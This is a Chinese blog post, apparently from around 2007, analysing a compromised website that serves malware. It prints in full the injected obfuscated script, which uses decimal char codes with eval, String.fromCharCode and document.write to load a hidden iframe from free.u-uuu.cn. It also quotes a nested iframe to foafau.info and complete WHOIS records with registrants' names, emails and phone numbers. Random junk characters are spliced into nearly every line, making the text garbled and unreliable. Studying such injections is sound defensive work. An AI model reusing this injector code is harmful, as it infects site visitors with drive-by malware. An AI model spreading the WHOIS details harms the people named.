首发在我的博客里面，
YN:Sn\`D 8 0]]OE+9<c http://www.areway.cn/?p=175 [eTEK W] o8%o68py |Zp')
JiS 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
| UQ [pas FYe fn3b <script>t=’60,105,102,114,97,109,101,
H$Pf$D$ 32,115,114,99,61,104,116,116,112,58,47,47,
-~ 4kh]7% 102,114,101,101,46,117,45,117,117,117,46,99,
D; +Y0B 110,47,101,114,114,111,114,46,104,116,109,
w
T_l>u 32,119,105,100,116,104,61,49,48,48,32,104,
Az#kE.8b*A 101,105,103,104,116,61,48,62,60,47,105,102,
-;qK_x 114,97,109,101,62′;
\ :q @I]2 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
QyZ' %T5J XH/!A`ZK <script>t=’60,105,102,114,97,109,101,32,115,
D@[#7 :rHL 114,99,61,104,116,116,112,58,47,47,102,114,
-HuIz6 101,101,46,117,45,117,117,117,46,99,110,47,
HJpx,NU' 101,114,114,111,114,46,104,116,109,32,119,
?6x&A t 105,100,116,104,61,49,48,48,32,104,101,105,
.RmoO\
,Gm 103,104,116,61,48,62,60,47,105,102,114,97,
p<l+js(5| 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
3!QXzT$E document.write(t);</script>
Xa$%`
)-}<}< oO <html xmlns=”
!O'p{dj][ http://www.w3.org/1999/xhtml JnnxXj30, “>
o:
> (Tv <head>
U-f8 D <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
EqIs&){ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
-qpM 6t <title>首页 - 爱生活家庭网
'%*hs8s 6Iz!_ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
HTMo.hr 转换字符串后的大概内容是（谁点击后果自付）：
\Ov~ t <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
.N\t3\9} 7X> @r"9< 查询玉米u-uuu.cn的详细信息：
@$$ J}~{ Domain Name: u-uuu.cn
k][{4~z
ROID: 20070901s10001s64972306-cn
0D `9 Domain Status: ok
4Sdj#w Registrant Organization: 王雷
n%~r^ C_ Registrant Name: 王雷
$ >].;y?$ Administrative Email:
czlovexs@126.com QAZs1;lU Sponsoring Registrar: 北京万网志成科技有限公司
t0P_$+w.> Name Server:ns.yovole.com
Y( K`3? A Name Server:ns1.yovole.com
55y{9.n* Registration Date: 2007-09-01 17:54
- JFW ,8=8 Expiration Date: 2008-09-01 17:54
>Kl_948
最后PING了一下地址 都没有什么….
aE"dpY Q 1}ifJ~)5S 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Nr]guC? rE <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
[=Nv=d<[p <script language=”javascript” src=”
4ISIg \:c* http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script [kgCB7.V >
H&k&mRi 这个玉米应该有可能是木马作者的：
,MHF foafau.info的详细信息：
j {=}?+M Access to INFO WHOIS information is provided to assist persons in
7.n\a@I/ determining the contents of a domain name registration record in the
Zx6h%l,% Afilias registry database. The data in this record is provided by
g ssEdJ Afilias Limited for informational purposes only, and Afilias does not
Jk{v (W# guarantee its accuracy. This service is intended only for query-based
4w a3$Pk access. You agree that you will use this data only for lawful purposes
jC?l :m? and that, under no circumstances will you use this data to: (a) allow,
EF=5[$
u enable, or otherwise support the transmission by e-mail, telephone, or
07ppq?,y facsimile of mass unsolicited, commercial advertising or solicitations
7 nW <kA to entities other than the data recipient’s own existing customers; or
^d(gC%+!u (b) enable high volume, automated, electronic processes that send
;\ j'~AyCn queries or data to the systems of Registry Operator, a Registrar, or
^hT2 ed + Afilias except as reasonably necessary to register domain names or
V$u:5" qu0 modify existing registrations. All rights reserved. Afilias reserves
S'@Ok=FSy the right to modify these terms at any time. By submitting this query,
{ W5
_KX you agree to abide by this policy.
j[t 2Bp Domain ID:D22418703-LRMS
_l,-S Qgj Domain Name:FOAFAU.INFO
mOLz(0 Created On:20-Nov-2007 16:05:42 UTC
-ni@+Dy Last Updated On:20-Nov-2007 16:05:44 UTC
%)&Tr` Expiration Date:20-Nov-2008 16:05:42 UTC
65RD68a Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
x&EMg! Status:CLIENT DELETE PROHIBITED
rO/Sj <0^ Status:CLIENT RENEW PROHIBITED
b!"FM/ % Status:CLIENT TRANSFER PROHIBITED
!)}z{ ,Jx Status:CLIENT UPDATE PROHIBITED
k@ [[vj|W Status:TRANSFER PROHIBITED
k%s,(2)30 Registrant ID:GODA-040110615
{!.w} Registrant Name:liu hong
Z
6][9o Registrant Organization:
Q!7mN ?l Registrant Street1:beijing
'S#^ 70kt Registrant Street2:
2)
2:K X Registrant Street3:
c <Q*g Registrant City:beijing
Zl]@ ;*u Registrant State/Province:
E2S#REB4 Registrant Postal Code:100000
F2)KAIl Registrant Country:CN
qB` %+<)C Registrant Phone:+86.860108888777
- | =) Registrant Phone Ext.:
v+<4?]EJ Registrant FAX:
sdgI , Registrant FAX Ext.:
bI V9cpW Registrant Email:bbbshiji@163.com
Mdu\ci)lr Admin ID:GODA-240110615
l$W)Vk<B(T Admin Name:liu hong
m-cw5lW Admin Organization:
mo MNd(p Admin Street1:beijing
9p4SxMMO Admin Street2:
:)+)L@By Admin Street3:
#9qX:*>h Admin City:beijing
f&$$*a Admin State/Province:
-7 Kstc- Admin Postal Code:100000
+p]@ b Admin Country:CN
:x?G [x= Admin Phone:+86.860108888777
w2r* $Q Admin Phone Ext.:
ZHj7^y@P Admin FAX:
2xBh Admin FAX Ext.:
zMO xJ Admin Email:bbbshiji@163.com
'68#7Hs. Billing ID:GODA-340110615
;^)4u Billing Name:liu hong
[V5,1dmkI Billing Organization:
yv)-QIC3 Billing Street1:beijing
/7-FVqDx8 Billing Street2:
'Q.5` o Billing Street3:
|F q\%y# Billing City:beijing
k#p6QA hS Billing State/Province:
GQE7P() Billing Postal Code:100000
q)YHhH\ Billing Country:CN
{OS[0LB Billing Phone:+86.860108888777
wDBU+Z Billing Phone Ext.:
m? ;/H Billing FAX:
Q7mikg=1- Billing FAX Ext.:
I}]UQ4XJ Billing Email:bbbshiji@163.com
{D [z>I;D Tech ID:GODA-140110615
3B$|B, Tech Name:liu hong
%PK(Z* > Tech Organization:
J DOs.w Tech Street1:beijing
=~21.p Tech Street2:
pp
>F)A 0v Tech Street3:
v\}{eP' Tech City:beijing
ykGA.wo7/P Tech State/Province:
d zV2; Tech Postal Code:100000
@%^h|g8>Fu Tech Country:CN
"| PX5 Tech Phone:+86.860108888777
V.ae 5@; Tech Phone Ext.:
K_qA[n Tech FAX:
UHIXy#+o 5 Tech FAX Ext.:
8Qkwg]X Tech Email:bbbshiji@163.com
O}6*9Xy Name Server:NS27.DOMAINCONTROL.COM
oS_YQOoD Name Server:NS28.DOMAINCONTROL.COM
@?t+O'& Name Server:
&.Yu%=} Name Server:
Go[anf Name Server:
~ D/1U)kt Name Server:
b~TTz`HZ Name Server:
u|Ng>lU Name Server:
zq|N ltK Name Server:
]l Name Server:
Sx X Name Server:
;g<y{o"Q3p Name Server:
OgCNq W
d- Name Server:
SkU9iW(k N#X*
0i" 接着下载每个文件里面的代码：
b$`/f:_ 一步一步看..
Rgz zbW 
w+XwPpM0.n 
[ o
6 
J@ 8O U 
5hDPX \ 
?MvL}o\| 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
